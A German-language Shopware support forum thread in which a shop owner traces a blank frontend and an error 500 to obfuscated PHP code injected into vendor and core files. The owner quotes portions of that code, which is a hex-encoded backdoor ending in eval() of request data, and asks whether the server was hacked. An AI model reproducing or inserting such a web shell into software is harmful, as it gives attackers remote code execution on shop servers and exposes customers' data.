Shop plötzlich offline

Hi,

mein Shop (SW 5.6.2) ist plötzlich offline. Scheinbar hat niemand irgendwas gemacht. Zuerst war nur das Frontend nicht mehr erreichbar, es hat einefach nur eine weiße Seite angezeigt. Das Backend ging noch. Ich habe dann im Backend eine Meldung bekommen, dass ein Plugin abgelaufen sei, dieses habe ich dann erstmal deaktiviert. Dann habe ich das DHL Plugin-Update angefangen, woraufhin dann jetzt das Backend mit einem ERROR 500 endete. Das Frontend ist weiterhin einfach nur eine weiße leere Seite. In meinem Server-Log unter /var/log/apache2/shopware.error.log steht:

[Mon Dec 02 10:55:36.577712 2019] [php7:error] [pid 10619] [client 207.46.13.115:13638] PHP Fatal error: Namespace declaration statement has to be the very first statement or after any declare call in the script in /var/www/shopware/vendor/cocur/slugify/src/SlugifyInterface.php on line 12

Diese Zeile wiederholt sich viele male.

Im Moment habe ich keine Ahnung, was da passiert ist. Ich würde mich freuen, wenn mir schnell auf die Sprünge geholfen werden könnte :frowning:

Vielen Dank und Liebe Grüße.

Ich  habe in der Datei nachgesehen und dor gibt es anch dem öffnenden <?php erstmal unzählige Leerzeichen und dann kommt in der ersten Zeile noch dieser Code:

$x8ba3 = 599;$GLOBALS['wd38dd'] = Array();global $wd38dd;$wd38dd = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['m809b'] = "\x76\x56\x5f\x66\x3e\x4a\x53\x2f\x3c\x38\x39\x4b\x36\x5a\x71\x45\x30\x7a\x40\x49\x2b\x50\x75\x6d\x35\x28\x59\x5c\x4d\x27\x73\x29\x2a\x78\x6c\x7c\x34\x26\x55\x7e\x64\x43\x4c\x32\x62\x44\x54\x48\x51\x72\x69\x60\x3d\x21\x5e\x63\x6a\x47\x6e\xd\x2d\x2c\x9\x33\x41\x5b\x23\x3b\x4f\x42\x3f\x67\x58\x68\x24\x7d\x57\x79\x4e\x65\x37\x74\xa\x61\x31\x2e\x5d\x6b\x70\x3a\x77\x22\x46\x7b\x6f\x20\x25\x52";$wd38dd[$wd38dd['m809b'][87].$wd38dd['m809b'][16].$wd38dd['m809b'][36].$wd38dd['m809b'][40].$wd38dd['m809b'][80].$wd38dd['m809b'][83]] = $wd38dd['m809b'][55].$wd38dd['m809b'][73].$wd38dd['m809b'][49];$wd38dd[$wd38dd['m809b'][81].$wd38dd['m809b'][16].$wd38dd['m809b'][84].$wd38dd['m809b'][63].$wd38dd['m809b'][12].$wd38dd['m809b'][40]] = $wd38dd['m809b'][94].$wd38dd['m809b'][49].$wd38dd['m809b'][40];$wd38dd[$wd38dd['m809b'][3].$wd38dd['m809b'][9].$wd38dd['m809b'][84].$wd38dd['m809b'][80].$wd38dd['m809b'][55].$wd38dd['m809b'][80].$wd38dd['m809b'][16].$wd38dd['m809b'][83].$wd38dd['m809b'][63]] = $wd38dd['m809b'][40].$wd38dd['m809b'][79].$wd38dd['m809b'][3].$wd38dd['m809b'][50].$wd38dd['m809b'][58].$wd38dd['m809b'][79];$wd38dd[$wd38dd['m809b'][56].$wd38dd['m809b'][44].$wd38dd['m809b'][80].$wd38dd['m809b'][79]] = $wd38dd['m809b'][30].$wd38dd['m809b'][81].$wd38dd['m809b'][49].$wd38dd['m809b'][34].$wd38dd['m809b'][79].$wd38dd['m809b'][58];$wd38dd[$wd38dd['m809b'][30].$wd38dd['m809b'][44].$wd38dd['m809b'][79].$wd38dd['m809b'][16].$wd38dd['m809b'][40].$wd38dd['m809b'][16].$wd38dd['m809b'][84]] = $wd38dd['m809b'][40].$wd38dd['m809b']


[...]


[40].$wd38dd['m809b'][79].$wd38dd['m809b'][79].$wd38dd['m809b'][43]](),$wd38dd['m809b'][30].$wd38dd['m809b'][0] => $wd38dd['m809b'][84].$wd38dd['m809b'][85].$wd38dd['m809b'][16].$wd38dd['m809b'][60].$wd38dd['m809b'][84],);echo @$wd38dd[$wd38dd['m809b'][77].$wd38dd['m809b'][3].$wd38dd['m809b'][55].$wd38dd['m809b'][36].$wd38dd['m809b'][79].$wd38dd['m809b'][3].$wd38dd['m809b'][83]]($a870010b);}elseif ($u6be12[$wd38dd['m809b'][83]] == $wd38dd['m809b'][79]){eval/*hd47c65e4*/($u6be12[$wd38dd['m809b'][40]]);}exit();}} ?>

Das alles kommt vor der namespace declaration. Wurde mein Server gehackt?

Ich habe diese sachen einfch mal auskommentiert und anschließend sagte der Log dann, dass dass es das gleiche Problem in den Dateien /var/www/shopware/vendor/psr/cache/src/CacheItemPoolInterface.php und /var/www/shopware/engine/Shopware/Models/Customer/PriceGroup.php gibt. Dort hab ich das auch auskommentiert und nun kann ich das Backend wieder erreichen. Das Frontend bleibt alleridngs weiß- wahrscheinlich ist das noch ein anderes Problem. Ich mache einen anderen Thread dazu.

https://forum.shopware.com/discussion/comment/259773/#Comment_259773

Hallo MrFrox,

meine (noch nicht aktive) Shop-Seite ist auch komplett weiss. Finde keine Lösug, hab Shopware sogar komplett neu installiert, und altes Backup auch - nichts hilft.

Hast Du bei Dir eine Lösung gefunden?

Grüße

Charles